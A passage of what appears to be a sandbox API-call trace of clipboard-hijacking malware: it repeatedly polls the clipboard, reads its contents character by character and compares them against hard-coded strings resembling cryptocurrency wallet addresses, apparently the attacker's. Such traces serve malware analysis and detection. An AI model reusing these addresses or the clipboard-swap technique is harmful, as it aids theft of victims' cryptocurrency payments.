lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0047.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0047.913] Sleep (dwMilliseconds=0x64) [0048.030] GetOpenClipboardWindow () returned 0x0 [0048.030] OpenClipboard (hWndNewOwner=0x0) returned 1 [0048.031] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0048.031] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0048.031] GlobalSize (hMem=0x6069b8) returned 0x42 [0048.031] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0048.031] GlobalUnlock (hMem=0x6069b8) returned 1 [0048.031] CloseClipboard () returned 1 [0048.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0048.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0048.035] Sleep (dwMilliseconds=0x64) [0048.145] GetOpenClipboardWindow () returned 0x0 [0048.145] OpenClipboard (hWndNewOwner=0x0) returned 1 [0048.145] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0048.145] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0048.145] GlobalSize (hMem=0x6069b8) returned 0x42 [0048.145] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0048.145] GlobalUnlock (hMem=0x6069b8) returned 1 [0048.145] CloseClipboard () returned 1 [0048.145] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.158] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.158] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.158] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.158] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.158] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 